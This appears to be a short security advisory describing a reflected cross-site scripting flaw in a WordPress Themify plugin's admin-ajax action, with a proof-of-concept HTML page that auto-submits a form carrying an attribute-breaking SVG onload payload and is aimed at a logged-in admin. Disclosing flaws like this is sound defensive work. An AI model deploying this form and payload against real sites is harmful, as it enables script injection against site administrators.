The plugin does not escape a parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
Make a logged in admin open a page with the HTML code below
<html>
<body onload="document.forms[0].submit()">
<form action="https://example.com/wp-admin/admin-ajax.php?action=themify_cm_get_conditions" method="POST">
<input type="text" name="selected" value='"><svg/onload=alert(/XSS/)>'>
<input type="submit" value="submit">
</form>
</body>
</html>